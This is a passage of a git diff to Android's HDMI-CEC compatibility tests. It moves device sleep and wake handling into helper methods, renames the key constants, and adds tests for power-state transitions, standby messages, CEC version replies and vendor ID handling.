diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
index 720242a..8bc0f24 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
@@ -61,12 +61,15 @@
         setCec20();
 
         ITestDevice device = getDevice();
-        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-
-        String expectedOutput = "POLL message sent";
-        hdmiCecClient.sendPoll();
-        if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
-            throw new Exception("Could not find " + expectedOutput);
+        try {
+            sendDeviceToSleep();
+            String expectedOutput = "POLL message sent";
+            hdmiCecClient.sendPoll();
+            if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
+                throw new Exception("Could not find " + expectedOutput);
+            }
+        } finally {
+            wakeUpDevice();
         }
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
index b6585a9..55606e4 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
@@ -17,13 +17,13 @@
 package android.hdmicec.cts.common;
 
 import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
+import android.hdmicec.cts.WakeLockHelper;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -33,6 +33,7 @@
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
@@ -68,12 +69,10 @@
         setCec20();
 
         // Move device to standby
-        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-        TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+        sendDeviceToSleep();
 
         // Turn device on
-        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+        wakeUpDevice();
 
         String reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
                 CecOperand.REPORT_POWER_STATUS);
@@ -99,25 +98,146 @@
         ITestDevice device = getDevice();
         setCec20();
 
-        // Turn device on
-        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+        try {
+            // Turn device on
+            wakeUpDevice();
 
-        // Move device to standby
-        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-        TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+            // Move device to standby
+            sendDeviceToSleep();
 
-        String reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
-                CecOperand.REPORT_POWER_STATUS);
+            String reportPowerStatus =
+                    hdmiCecClient.checkExpectedOutput(
+                            LogicalAddress.BROADCAST, CecOperand.REPORT_POWER_STATUS);
 
-        if (CecMessage.getParams(reportPowerStatus) == HdmiCecConstants.CEC_POWER_STATUS_ON) {
-            // Received the "wake up" broadcast, check for the next broadcast message
-            reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
-                    CecOperand.REPORT_POWER_STATUS);
+            if (CecMessage.getParams(reportPowerStatus) == HdmiCecConstants.CEC_POWER_STATUS_ON) {
+                // Received the "wake up" broadcast, check for the next broadcast message
+                reportPowerStatus =
+                        hdmiCecClient.checkExpectedOutput(
+                                LogicalAddress.BROADCAST, CecOperand.REPORT_POWER_STATUS);
+            }
+
+            assertThat(CecMessage.getParams(reportPowerStatus))
+                    .isEqualTo(HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+        } finally {
+            wakeUpDevice();
         }
+    }
 
-        assertThat(CecMessage.getParams(reportPowerStatus)).isEqualTo(
-                HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+    /**
+     * Test HF4-6-22 (CEC 2.0)
+     *
+     * <p>Verifies that the DUT notifies the transition back to Standby state if an ongoing
+     * transition from standby state to power on state is interrupted.
+     */
+    @Test
+    public void cect_hf4_6_22_interruptedPowerOn() throws Exception {
+        ITestDevice device = getDevice();
+        setCec20();
+
+        try {
+            // Turn device off
+            sendDeviceToSleep();
+
+            List<Integer> keycodes = new ArrayList<>();
+            keycodes.add(HdmiCecConstants.CEC_KEYCODE_POWER_ON_FUNCTION);
+            keycodes.add(HdmiCecConstants.CEC_KEYCODE_POWER_OFF_FUNCTION);
+
+            // Send a <UCP>[Power On] immediately followed by a <UCP>[Power Off]
+            hdmiCecClient.sendMultipleUserControlPressAndRelease(LogicalAddress.TV, keycodes);
+
+            String reportPowerStatus =
+                    hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_POWER_STATUS);
+
+            switch (CecMessage.getParams(reportPowerStatus)) {
+                case HdmiCecConstants.CEC_POWER_STATUS_STANDBY:
+                    // No further messages are expected, check for 5s outside the switch case.
+                    break;
+                case HdmiCecConstants.CEC_POWER_STATUS_IN_TRANSITION_TO_STANDBY:
+                    reportPowerStatus =
+                            hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_POWER_STATUS);
+                    assertThat(CecMessage.getParams(reportPowerStatus))
+                            .isEqualTo(HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+                    break;
+                case HdmiCecConstants.CEC_POWER_STATUS_IN_TRANSITION_TO_ON:
+                case HdmiCecConstants.CEC_POWER_STATUS_ON:
+                    reportPowerStatus =
+                            hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_POWER_STATUS);
+                    int powerState = CecMessage.getParams(reportPowerStatus);
+                    if (powerState == HdmiCecConstants.CEC_POWER_STATUS_IN_TRANSITION_TO_STANDBY) {
+                        // If it is in transition, wait for another <Report Power Status>[Power Off]
+                        reportPowerStatus =
+                                hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_POWER_STATUS);
+                        powerState = CecMessage.getParams(reportPowerStatus);
+                    }
+                    // If no <Report Power Status>[Power Off] is received, fail the test
+                    assertThat(powerState).isEqualTo(HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+                    break;
+            }
+            // Make sure there are no further <Report Power Status> for 5s
+            hdmiCecClient.checkOutputDoesNotContainMessage(
+                    LogicalAddress.BROADCAST, CecOperand.REPORT_POWER_STATUS, 5000);
+        } finally {
+            wakeUpDevice();
+        }
+    }
+
+    /**
+     * Test HF4-6-23 (CEC 2.0)
+     *
+     * <p>Verifies that the DUT notifies the transition back to On state if an ongoing transition
+     * from On state to Standby state is interrupted.
+     */
+    @Test
+    public void cect_hf4_6_23_interruptedStandby() throws Exception {
+        ITestDevice device = getDevice();
+        setCec20();
+
+        try {
+            // Turn device off
+            wakeUpDevice();
+            WakeLockHelper.acquirePartialWakeLock(getDevice());
+
+            List<Integer> keycodes = new ArrayList<>();
+            keycodes.add(HdmiCecConstants.CEC_KEYCODE_POWER_OFF_FUNCTION);
+            keycodes.add(HdmiCecConstants.CEC_KEYCODE_POWER_ON_FUNCTION);
+
+            // Send a <UCP>[Power Off] immediately followed by a <UCP>[Power On]
+            hdmiCecClient.sendMultipleUserControlPressAndRelease(LogicalAddress.TV, keycodes);
+
+            String reportPowerStatus =
+                    hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_POWER_STATUS);
+
+            switch (CecMessage.getParams(reportPowerStatus)) {
+                case HdmiCecConstants.CEC_POWER_STATUS_ON:
+                    // No further messages are expected, check for 5s outside the switch case.
+                    break;
+                case HdmiCecConstants.CEC_POWER_STATUS_IN_TRANSITION_TO_ON:
+                    reportPowerStatus =
+                            hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_POWER_STATUS);
+                    assertThat(CecMessage.getParams(reportPowerStatus))
+                            .isEqualTo(HdmiCecConstants.CEC_POWER_STATUS_ON);
+                    break;
+                case HdmiCecConstants.CEC_POWER_STATUS_IN_TRANSITION_TO_STANDBY:
+                case HdmiCecConstants.CEC_POWER_STATUS_STANDBY:
+                    reportPowerStatus =
+                            hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_POWER_STATUS);
+                    int powerState = CecMessage.getParams(reportPowerStatus);
+                    if (powerState == HdmiCecConstants.CEC_POWER_STATUS_IN_TRANSITION_TO_ON) {
+                        // If it is in transition, wait for another <Report Power Status>[Power On]
+                        reportPowerStatus =
+                                hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_POWER_STATUS);
+                        powerState = CecMessage.getParams(reportPowerStatus);
+                    }
+                    // If no <Report Power Status>[Power On] is received, fail the test
+                    assertThat(powerState).isEqualTo(HdmiCecConstants.CEC_POWER_STATUS_ON);
+                    break;
+            }
+            // Make sure there are no further <Report Power Status> for 5s
+            hdmiCecClient.checkOutputDoesNotContainMessage(
+                    LogicalAddress.BROADCAST, CecOperand.REPORT_POWER_STATUS, 5000);
+        } finally {
+            wakeUpDevice();
+        }
     }
 
     /**
@@ -131,8 +251,7 @@
         ITestDevice device = getDevice();
         /* Make sure the device is not booting up/in standby */
         device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+        wakeUpDevice();
 
         LogicalAddress cecClientDevice = hdmiCecClient.getSelfDevice();
         hdmiCecClient.sendCecMessage(cecClientDevice, CecOperand.GIVE_POWER_STATUS);
@@ -154,8 +273,7 @@
             /* Make sure the device is not booting up/in standby */
             device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
             /* The sleep below could send some devices into a deep suspend state. */
-            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-            TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+            sendDeviceToSleep();
             int waitTimeSeconds = HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS;
             int powerStatus;
             LogicalAddress cecClientDevice = hdmiCecClient.getSelfDevice();
@@ -172,7 +290,7 @@
             assertThat(powerStatus).isEqualTo(OFF);
         } finally {
             /* Wake up the device */
-            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            wakeUpDevice();
         }
     }
 
@@ -185,9 +303,9 @@
     @Test
     public void cect_hf4_6_8_userControlPressed_powerOn() throws Exception {
         ITestDevice device = getDevice();
-        List<Integer> powerControlOperands = Arrays.asList(HdmiCecConstants.CEC_CONTROL_POWER,
-                HdmiCecConstants.CEC_CONTROL_POWER_ON_FUNCTION,
-                HdmiCecConstants.CEC_CONTROL_POWER_TOGGLE_FUNCTION);
+        List<Integer> powerControlOperands = Arrays.asList(HdmiCecConstants.CEC_KEYCODE_POWER,
+                HdmiCecConstants.CEC_KEYCODE_POWER_ON_FUNCTION,
+                HdmiCecConstants.CEC_KEYCODE_POWER_TOGGLE_FUNCTION);
 
         LogicalAddress source = hasDeviceType(HdmiCecConstants.CEC_DEVICE_TYPE_TV)
                 ? LogicalAddress.PLAYBACK_1
@@ -195,21 +313,12 @@
 
         for (Integer operand : powerControlOperands) {
             try {
-                device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-                TimeUnit.SECONDS.sleep(HdmiCecConstants.MAX_SLEEP_TIME_SECONDS);
-                String wakeStateBefore = device.executeShellCommand(
-                        "dumpsys power | grep mWakefulness=");
-                assertThat(wakeStateBefore.trim()).isEqualTo("mWakefulness=Asleep");
-
+                sendDeviceToSleep();
                 hdmiCecClient.sendUserControlPressAndRelease(source, operand, false);
-
                 TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
-                String wakeStateAfter = device.executeShellCommand(
-                        "dumpsys power | grep mWakefulness=");
-                assertWithMessage("Device should wake up on <User Control Pressed> %s", operand)
-                        .that(wakeStateAfter.trim()).isEqualTo("mWakefulness=Awake");
+                assertDeviceWakefulness(HdmiCecConstants.WAKEFULNESS_AWAKE);
             } finally {
-                device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+                wakeUpDevice();
             }
         }
     }
@@ -224,8 +333,8 @@
     public void cect_hf4_6_10_userControlPressed_powerOff() throws Exception {
         ITestDevice device = getDevice();
         List<Integer> powerControlOperands = Arrays.asList(
-                HdmiCecConstants.CEC_CONTROL_POWER_OFF_FUNCTION,
-                HdmiCecConstants.CEC_CONTROL_POWER_TOGGLE_FUNCTION);
+                HdmiCecConstants.CEC_KEYCODE_POWER_OFF_FUNCTION,
+                HdmiCecConstants.CEC_KEYCODE_POWER_TOGGLE_FUNCTION);
 
         LogicalAddress source = hasDeviceType(HdmiCecConstants.CEC_DEVICE_TYPE_TV)
                 ? LogicalAddress.PLAYBACK_1
@@ -233,23 +342,135 @@
 
         for (Integer operand : powerControlOperands) {
             try {
-                device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-                TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
-                String wakeStateBefore = device.executeShellCommand(
-                        "dumpsys power | grep mWakefulness=");
-                assertThat(wakeStateBefore.trim()).isEqualTo("mWakefulness=Awake");
-
+                wakeUpDevice();
+                WakeLockHelper.acquirePartialWakeLock(device);
                 hdmiCecClient.sendUserControlPressAndRelease(source, operand, false);
-
                 TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
-                String wakeStateAfter = device.executeShellCommand(
-                        "dumpsys power | grep mWakefulness=");
-                assertWithMessage("Device should go to standby on <User Control Pressed> %s",
-                        operand)
-                        .that(wakeStateAfter.trim()).isEqualTo("mWakefulness=Asleep");
+                assertDeviceWakefulness(HdmiCecConstants.WAKEFULNESS_ASLEEP);
             } finally {
-                device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+                wakeUpDevice();
             }
         }
     }
+
+    /**
+     * Test HF4-6-26
+     *
+     * <p> Verify that, when a Source device is put to Standby by the user, it does not broadcast a
+     * system {@code <Standby>} message unless explicitly requested by the user.
+     */
+    @Test
+    public void cect_hf4_6_26_standby_noBroadcast_20() throws Exception {
+        ITestDevice device = getDevice();
+        setCec20();
+        String previousPowerControlMode =
+                setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_NONE);
+        try {
+            sendDeviceToSleep();
+            hdmiCecClient.checkOutputDoesNotContainMessage(
+                    LogicalAddress.BROADCAST, CecOperand.STANDBY);
+        } finally {
+            wakeUpDevice();
+            setPowerControlMode(previousPowerControlMode);
+        }
+    }
+
+    /**
+     * Test HF4-6-27 (CEC 2.0)
+     *
+     * <p>Verify that action of a {@code <Standby>} message can only be used to send a device to
+     * the standby state.
+     */
+    @Test
+    public void cect_hf4_6_27_standby_action_20() throws Exception {
+        ITestDevice device = getDevice();
+        /* Make sure the device is not booting up/in standby */
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        setCec20();
+        try {
+            // Directly addressed standby message to DUT.
+            sendDeviceToSleepAndValidateUsingStandbyMessage(true);
+            // Resending Standby message and validate device stays in standby mode
+            sendDeviceToSleepAndValidateUsingStandbyMessage(true);
+            wakeUpDevice();
+
+            // Broadcast standby message.
+            sendDeviceToSleepAndValidateUsingStandbyMessage(false);
+            // Resending Standby message and validate device stays in standby mode
+            sendDeviceToSleepAndValidateUsingStandbyMessage(false);
+        } finally {
+            wakeUpDevice();
+        }
+    }
+
+    /*
+     * Test HF4-6-28
+     *
+     * <p>Tests that the DUT handles {@code <User Control Pressed>} of any power related buttons
+     * correctly
+     */
+    @Test
+    public void cect_hf_4_6_28_testPowerUcpHandling() throws Exception {
+        setCec20();
+        int waitSeconds = 10;
+        ITestDevice device = getDevice();
+        // Ensure device is awake.
+        wakeUpDevice();
+
+        // Acquire the wakelock.
+        WakeLockHelper.acquirePartialWakeLock(device);
+        try {
+            // All <UCP> commands will be sent from TV.
+            LogicalAddress source = LogicalAddress.TV;
+            hdmiCecClient.sendUserControlPressAndRelease(
+                    source, HdmiCecConstants.CEC_KEYCODE_POWER_TOGGLE_FUNCTION, false);
+            waitForTransitionTo(HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+
+            // Toggle power again, DUT should wakeup.
+            hdmiCecClient.sendUserControlPressAndRelease(
+                    source, HdmiCecConstants.CEC_KEYCODE_POWER_TOGGLE_FUNCTION, false);
+            waitForTransitionTo(HdmiCecConstants.CEC_POWER_STATUS_ON);
+
+            // Send <UCP>[Power On]. DUT should remain in ON state, check for 10s.
+            hdmiCecClient.sendUserControlPressAndRelease(
+                    source, HdmiCecConstants.CEC_KEYCODE_POWER_ON_FUNCTION, false);
+            waitForTransitionTo(HdmiCecConstants.CEC_POWER_STATUS_ON);
+            TimeUnit.SECONDS.sleep(waitSeconds);
+            waitForTransitionTo(HdmiCecConstants.CEC_POWER_STATUS_ON);
+
+            // Send <UCP>[Power Off]. DUT should got to OFF state, check for 10s.
+            hdmiCecClient.sendUserControlPressAndRelease(
+                    source, HdmiCecConstants.CEC_KEYCODE_POWER_OFF_FUNCTION, false);
+            waitForTransitionTo(HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+            TimeUnit.SECONDS.sleep(waitSeconds);
+            waitForTransitionTo(HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+
+            // Send <UCP>[Power Off] again. DUT should stay in OFF state, check for 10s.
+            hdmiCecClient.sendUserControlPressAndRelease(
+                    source, HdmiCecConstants.CEC_KEYCODE_POWER_OFF_FUNCTION, false);
+            waitForTransitionTo(HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+            TimeUnit.SECONDS.sleep(waitSeconds);
+            waitForTransitionTo(HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+
+            // Send <UCP>[Power On]. DUT should go to ON state, check for 10s.
+            hdmiCecClient.sendUserControlPressAndRelease(
+                    source, HdmiCecConstants.CEC_KEYCODE_POWER_ON_FUNCTION, false);
+            waitForTransitionTo(HdmiCecConstants.CEC_POWER_STATUS_ON);
+            TimeUnit.SECONDS.sleep(waitSeconds);
+            waitForTransitionTo(HdmiCecConstants.CEC_POWER_STATUS_ON);
+
+            // Send <UCP> [Power]. DUT should go to standby.
+            hdmiCecClient.sendUserControlPressAndRelease(
+                    source, HdmiCecConstants.CEC_KEYCODE_POWER, false);
+            waitForTransitionTo(HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+
+            // Send <UCP> [Power]. DUT should wakeup.
+            hdmiCecClient.sendUserControlPressAndRelease(
+                    source, HdmiCecConstants.CEC_KEYCODE_POWER, false);
+            waitForTransitionTo(HdmiCecConstants.CEC_POWER_STATUS_ON);
+        } finally {
+            // Wake up the device. This will also release the wakelock.
+            wakeUpDevice();
+        }
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java
index afe1c10..132c19f 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java
@@ -17,6 +17,7 @@
 package android.hdmicec.cts.common;
 
 import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assume.assumeFalse;
 
 import android.hdmicec.cts.AudioManagerHelper;
@@ -29,13 +30,13 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import java.util.concurrent.TimeUnit;
-
 import org.junit.Before;
 import org.junit.Rule;
+import org.junit.Test;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
-import org.junit.Test;
+
+import java.util.concurrent.TimeUnit;
 
 /** HDMI CEC test to verify system audio control commands (Section 11.1.15, 11.2.15) */
 @RunWith(DeviceJUnit4ClassRunner.class)
@@ -96,7 +97,7 @@
         String message =
                 hdmiCecClient.checkExpectedOutput(
                         hdmiCecClient.getSelfDevice(), CecOperand.USER_CONTROL_PRESSED);
-        assertThat(CecMessage.getParams(message)).isEqualTo(HdmiCecConstants.CEC_CONTROL_VOLUME_UP);
+        assertThat(CecMessage.getParams(message)).isEqualTo(HdmiCecConstants.CEC_KEYCODE_VOLUME_UP);
         hdmiCecClient.checkExpectedOutput(
                 hdmiCecClient.getSelfDevice(), CecOperand.USER_CONTROL_RELEASED);
         /* TODO: b/174733146  For TV devices, assert that the volume level has not changed. */
@@ -106,7 +107,7 @@
                 hdmiCecClient.checkExpectedOutput(
                         hdmiCecClient.getSelfDevice(), CecOperand.USER_CONTROL_PRESSED);
         assertThat(CecMessage.getParams(message))
-                .isEqualTo(HdmiCecConstants.CEC_CONTROL_VOLUME_DOWN);
+                .isEqualTo(HdmiCecConstants.CEC_KEYCODE_VOLUME_DOWN);
         hdmiCecClient.checkExpectedOutput(
                 hdmiCecClient.getSelfDevice(), CecOperand.USER_CONTROL_RELEASED);
         /* TODO: b/174733146  For TV devices, assert that the volume level has not changed. */
@@ -137,7 +138,7 @@
         String message =
                 hdmiCecClient.checkExpectedOutput(
                         hdmiCecClient.getSelfDevice(), CecOperand.USER_CONTROL_PRESSED);
-        assertThat(CecMessage.getParams(message)).isEqualTo(HdmiCecConstants.CEC_CONTROL_MUTE);
+        assertThat(CecMessage.getParams(message)).isEqualTo(HdmiCecConstants.CEC_KEYCODE_MUTE);
         hdmiCecClient.checkExpectedOutput(
                 hdmiCecClient.getSelfDevice(), CecOperand.USER_CONTROL_RELEASED);
         /* TODO: b/174733146  For TV devices, assert that the volume level has not changed. */
@@ -152,10 +153,8 @@
     @Test
     public void cect_GiveSystemAudioModeStatus() throws Exception {
         ITestDevice device = getDevice();
-        /* Home Key to prevent device from going to deep suspend state */
-        device.executeShellCommand("input keyevent KEYCODE_HOME");
-        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        sendDeviceToSleep();
+        wakeUpDeviceWithoutWait();
         hdmiCecClient.checkExpectedOutput(
                 hdmiCecClient.getSelfDevice(), CecOperand.GIVE_SYSTEM_AUDIO_MODE_STATUS);
     }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
index d0db224..6e2d677 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
@@ -26,6 +26,7 @@
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
 
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Rule;
@@ -171,4 +172,98 @@
                 CecOperand.REPORT_FEATURES);
         assertThat(CecMessage.getParams(reportFeatures, 2)).isEqualTo(cecVersion);
     }
+
+    /**
+     * Tests that the device sends a {@code <CEC Version>} in response to a {@code <Get CEC
+     * Version>} in standby
+     */
+    @Test
+    public void cectGiveCecVersionInStandby() throws Exception {
+        ITestDevice device = getDevice();
+        try {
+            sendDeviceToSleepAndValidate();
+            hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GET_CEC_VERSION);
+            String message =
+                    hdmiCecClient.checkExpectedOutputOrFeatureAbort(
+                            hdmiCecClient.getSelfDevice(),
+                            CecOperand.CEC_VERSION,
+                            CecOperand.GET_CEC_VERSION,
+                            HdmiCecConstants.ABORT_NOT_IN_CORRECT_MODE);
+            assertThat(CecMessage.getParams(message))
+                    .isIn(
+                            Arrays.asList(
+                                    HdmiCecConstants.CEC_VERSION_2_0,
+                                    HdmiCecConstants.CEC_VERSION_1_4));
+        } finally {
+            wakeUpDevice();
+        }
+    }
+
+    /**
+     * Test HF4-2-16 (CEC 2.0)
+     *
+     * <p>Tests that the DUT responds to a {@code <Give Device Vendor Id>} with a {@code <Device
+     * Vendor ID>} message or a {@code <Feature Abort>[Unrecognized Opcode]}
+     */
+    @Test
+    public void cect_hf_4_2_16_GiveDeviceVendorId() throws Exception {
+        ITestDevice device = getDevice();
+        setCec20();
+        hdmiCecClient.sendCecMessage(
+                hdmiCecClient.getSelfDevice(), CecOperand.GIVE_DEVICE_VENDOR_ID);
+        String message =
+                hdmiCecClient.checkExpectedOutputOrFeatureAbort(
+                        LogicalAddress.BROADCAST,
+                        CecOperand.DEVICE_VENDOR_ID,
+                        CecOperand.GIVE_DEVICE_VENDOR_ID,
+                        HdmiCecConstants.ABORT_UNRECOGNIZED_MODE);
+        if (CecMessage.getOperand(message) == CecOperand.GIVE_DEVICE_VENDOR_ID) {
+            assertThat(CecMessage.getParams(message))
+                    .isNotEqualTo(HdmiCecConstants.INVALID_VENDOR_ID);
+        }
+    }
+
+    /**
+     * Test HF4-2-17 (CEC 2.0)
+     *
+     * <p>Tests that the DUT responds to a {@code <Vendor Command with Id>} that has an incorrect or
+     * unrecognised Vendor ID with a {@code <Feature Abort>} message with an appropriate reason.
+     */
+    @Test
+    public void cect_hf_4_2_17_VendorCommandWithIncorrectId() throws Exception {
+        ITestDevice device = getDevice();
+        setCec20();
+        long vendorId = 0xBADDAD;
+        String vendorCommandParams =
+                CecMessage.formatParams(vendorId, 6) + CecMessage.formatParams("01DBF7E498");
+        String featureAbortRefused =
+                CecOperand.VENDOR_COMMAND_WITH_ID.toString()
+                        + String.format("%02d", HdmiCecConstants.ABORT_REFUSED);
+        String featureAbortUnrecognised =
+                CecOperand.VENDOR_COMMAND_WITH_ID.toString()
+                        + String.format("%02d", HdmiCecConstants.ABORT_UNRECOGNIZED_MODE);
+
+        hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.GIVE_DEVICE_VENDOR_ID);
+
+        String message =
+                hdmiCecClient.checkExpectedOutput(
+                        LogicalAddress.BROADCAST, CecOperand.DEVICE_VENDOR_ID);
+        if (CecMessage.getParams(message) == vendorId) {
+            // Device has the same vendor ID used in test, change it.
+            vendorId += 1;
+        }
+
+        hdmiCecClient.sendCecMessage(
+                LogicalAddress.TV,
+                LogicalAddress.BROADCAST,
+                CecOperand.DEVICE_VENDOR_ID,
+                CecMessage.formatParams(vendorId, 6));
+        hdmiCecClient.sendCecMessage(
+                LogicalAddress.TV, CecOperand.VENDOR_COMMAND_WITH_ID, vendorCommandParams);
+        message = hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.FEATURE_ABORT);
+        if (!CecMessage.getParamsAsString(message).equals(featureAbortRefused)
+                && !CecMessage.getParamsAsString(message).equals(featureAbortUnrecognised)) {
+            throw new Exception("Feature Abort reason is not REFUSED(0x04) or UNRECOGNIZED(0x00)");
+        }
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
index ccad335..6541ca6 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
@@ -16,12 +16,11 @@
 
 package android.hdmicec.cts.common;
 
-import static com.google.common.truth.Truth.assertThat;
-
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecOperand;
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
+import android.hdmicec.cts.WakeLockHelper;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,44 +28,45 @@
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
+import org.junit.Test;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
-import org.junit.Test;
 
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
 
-/**
- * HDMI CEC test to verify the device handles standby correctly (Section 11.1.3, 11.2.3)
- */
+/** HDMI CEC test to verify the device handles standby correctly (Section 11.1.3, 11.2.3) */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecSystemStandbyTest extends BaseHdmiCecCtsTest {
 
-    private static final String HDMI_CONTROL_DEVICE_AUTO_OFF =
-            "hdmi_control_auto_device_off_enabled";
+    private static final String TV_SEND_STANDBY_ON_SLEEP = "tv_send_standby_on_sleep";
+    private static final String TV_SEND_STANDBY_ON_SLEEP_ENABLED = "1";
+    private static final String TV_SEND_STANDBY_ON_SLEEP_DISABLED = "0";
 
     public List<LogicalAddress> mLogicalAddresses = new ArrayList<>();
-    public boolean wasOn;
+    public boolean previousDeviceAutoOff;
+    public String previousPowerControlMode;
 
     @Rule
     public RuleChain ruleChain =
-            RuleChain
-                    .outerRule(CecRules.requiresCec(this))
+            RuleChain.outerRule(CecRules.requiresCec(this))
                     .around(CecRules.requiresLeanback(this))
                     .around(hdmiCecClient);
 
     @Before
     public void initialTestSetup() throws Exception {
         defineLogicalAddressList();
-        wasOn = setHdmiControlDeviceAutoOff(false);
